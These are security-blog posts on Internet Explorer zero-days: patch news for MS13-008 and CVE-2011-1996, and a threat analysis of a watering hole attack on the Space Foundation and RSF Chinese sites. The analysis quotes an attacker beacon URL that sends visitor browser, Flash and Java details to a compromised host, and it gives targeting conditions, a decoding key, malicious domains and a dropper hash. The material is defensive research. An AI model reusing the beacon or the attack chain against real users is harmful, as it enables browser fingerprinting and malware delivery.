Posts tagged Internet Explorer

MS13-008 Patch Internet Explorer CVE-2012-4792 0day Vulnerability

As announced yesterday, in an advanced notification, Microsoft has release an out-of-band patch MS13-008 to fix the an Internet Explorer 0day , CVE-2012-4792, discovered exploited in targeted attacks against different organizations like Council on Foreign Relations (CFR.org), a foreign policy web group.

This vulnerability was acknowledged by Microsoft, in MSA-2794220, the 30 December, but was exploited in targeted attacks since minimum beginning December. Two weeks after the acknowledge, the patch is out and will fix this vulnerability in Internet Explorer 6, 7 and 8. So just, patch, patch, patch until the next Internet Explorer 0day found exploited in targeted attacks… See you in two or three months.

Microsoft Out-Of-Band Patch for Internet Explorer CVE-2012-4792 Vulnerability

Microsoft, announcing in an Advanced Notification, will release, this Monday at 10 a.m. PST, an out-of-band security update to address vulnerability CVE-2012-4792, who was actively exploited in the wild targeting different organizations like Council on Foreign Relations (CFR.org), a foreign policy web group. This vulnerability was acknowledged by Microsoft, in MSA-2794220, the 30 December, but was exploited in targeted attacks since minimum beginning December. So, like for Oracle Java 7 Update 11 release, I advise you to patch asap.

Short Story regarding Microsoft MS11-081 CVE-2011-1996

During some investigations, associated to a packed version of the September Internet Explorer CVE-2012-4969 vulnerability, I found an unknown exploit targeting Microsoft Internet Explorer. The code was found on CLEAN MX and the evidences was dated of 2011-10-25.

CVE-2011-1996-exploit

After some researches on Internet, I found a blog post “Internet Explorer Option Element Remote Code Execution” from Ivan Fratric related to CVE-2011-1996 who has similar familiarities with the founded code. Ivan spoke about an PoC but never delivered it.

In Internet Explorer, the implementation of Select HTML element contains an array of pointers to the Option elements the Select element contains. This array is called the Option cache. Normally, whenever an Option element inside a Select element is accessed via JavaScript, Option cache is rebuilt, thus ensuring its consistency. However, there are some JavaScript methods that can be used to delete and modify the Option elements contained inside the Select element without rebuilding the Option cache. In combination, these methods enable modifying a previously deleted Option element.

If you remember CVE-2011-1996 was patched in MS11-081 the 11 October 2011 and details on the vulnerability were provided by Ivan Fratic the 12 October 2011. This vulnerability is affecting Microsoft Internet Explorer 6,7 and 8. So less than 12 days after the release of the Microsoft patch, an exploit was found gathered on Clean MX…

Regarding Clean MX, this exploit was found used in the wild on “hxxp://hb7.in/n/vvv.html“. And the “hb7.in” domain name was previously found on MALWARE.pl and on jsunpack the 24th October.

Now since the 9 January, this exploit is now integrated into Metasploit framework as “ms11_081_option” targeting Internet Explorer 8 on Windows XP, Vista and 7. Just enjoy 🙂

Forgotten Watering Hole Attacks On Space Foundation and RSF Chinese

As I announced you on Twitter, this blog post will present targeted attacks who have start mid-September and wasn’t discussed or presented in public. These attacks have end around mid-October.

A web site “arpeggio8.com“, hosted on 205.186.179.195 in US, was compromised in order to be used in a watering hole attack against Space Foundation and RSF Chinese.

The Space Foundation is a nonprofit organization that supports the global space industry through information and education programs. It is a resource for the entire space community – industry, national security organizations, civil space agencies, private space companies and the military around the world. It also supports educators, students and journalists with information and education programs.

Reporters Without Borders (RWB) is a French-based international non-governmental organization that advocates freedom of the press and freedom of information. Reporters Without Borders is also known as RSF, and RSF Chinese is a dedicated web site for Chinese news in Chinese language.

The watering hole attack was done through different files and by a dedicated centralized backend named “Jsbug“.

Description of the watering hole attack

Space Foundation and RSF Chinese web sites had they’re code a malicious javascript inclusion calling “http://www.arpeggio8.com/count/count.php“.

SpaceFoundation-RSFChinese-CVE-2012-4969

count.php” script provide javascript content who check the presence of “popad” cookie and if the browser is Internet Explorer 6, 7 or 8. This script also load “count2.php” who is used for another purposes, we will discuss about this file later. If all the conditions are in place “rsf.php” file is loaded with parameter “id=1024“.

rsf.php” script only provide content if parameter “id=1024” is present. This script load through an iframe call “ie.html” file. “rsf.php” is the equivalent of “exploit.html” in the CVE-2012-4969 0day found in mid-September.

ie.html” file is the equivalent of “Protect.html” in the CVE-2012-4969 0day found in mid-September, but here no Flash file is involved to do the heap spray. “ie.html” file is containing a packed javascript code how will do the heap spray and trigger the vulnerability. Pastebin encoded version and decoded version.

The javascript is decoded though the “decode” function and the key “0xe1” for decoding is provided as argument to the function. The javascript “int_to_hex” function will check if Oracle Java 6 is present, if operating system is Windows 7 or XP and if Internet Explorer 9 is used. The script will also gather the browser language.

decode

If Windows XP is used, and language is “en-us“, “zh-cn“, “zh-tw“, “ko” or “ja” (hum hum CVE-2012-4792…), then the vulnerability is triggered.

If Windows 7 is used and Java 6 is installed, then the vulnerability is triggered. A spray base value is provided in the code for Internet Explorer 9 , but “count.php” has filter the targeted browsers.

Once the vulnerability is triggered, “917.exe” (6b4aa596e5a4208371942cdb0e04dfd9) file is installed. This malware is known as “Trojan-Dropper.Win32.Dapato.bscc“.

A interesting point regarding “ie.html” file, this file was dating of 19 September.

rsf-ie-cve-2012-4969

Some facts regarding CVE-2012-4969 :

  • Vulnerability was discovered exploited in the wild, with a Flash variant, the 14 September.
  • Metasploit PoC was provided the 17 September.
  • Microsoft Security Advisory MSA-2757760 was published the 17 September.
  • Microsoft patch was provided in MS12-063 the 21 September.

But you will see, through the next chapter, that the attack has began the 18 September.

“count2.php” script and Jsbug backend usage

count2.php” script is loaded in any cases for statistics purposes. This script will create and check two cookies “stat_cookie” and “stat_time“, gather version of Adobe Flash, presence of Oracle Java and HTTP referrer. All these informations are send back to the same script with parameters.

http://arpeggio8.com/count/count2.php?n=’+Math.random()+’&action=jpg&stat_refer=’+escape(location.href)+’&stat_flash=’+escape(flashVer)+’&stat_java=’+escape(stat_java)+’&stat_cookie=’+stat_cookie+’&stat_time=’+stat_time;

All these informations are stored in a backend named “Jsbug“. This backend is quiet simple, only three menus “Client statistics“, “Report” and “Create Exploit“. The backend doesn’t have any external css or images files, and is typically composed of minimum three PHP scripts.

jsbug-backend-typical-files

Login page of the backend is also quiet simplistic, no page title, no text in the page, and this logic of simplicity make it harder to discover through Google searches.

jsbug-backend-login-page

Client statistics” menu will direct you on a recap page, of all visitors who have load “count2.php“, with OS type, browser type and version, version of Adobe Flash, version of Oracle Java, IP address, HTTP referer, number of visits, first visite and last visite date.

In the case of the Space Foundation watering hole attack, the first date are beginning 18 September.

jsbug-space-foundation-start

In the case of RSF Chinese watering hole attack, the first date are beginning 19 September.

jsbug-rsf-chinese-start

These attacks have ended around mid-October.

Report” menu will direct you on a statistics page, of all visitors.

jsbug-backend-stats

Create Exploit” menu is a page how will help the attackers to generate they’re javascript inclusion code.

jsbug-backend-create-exploit

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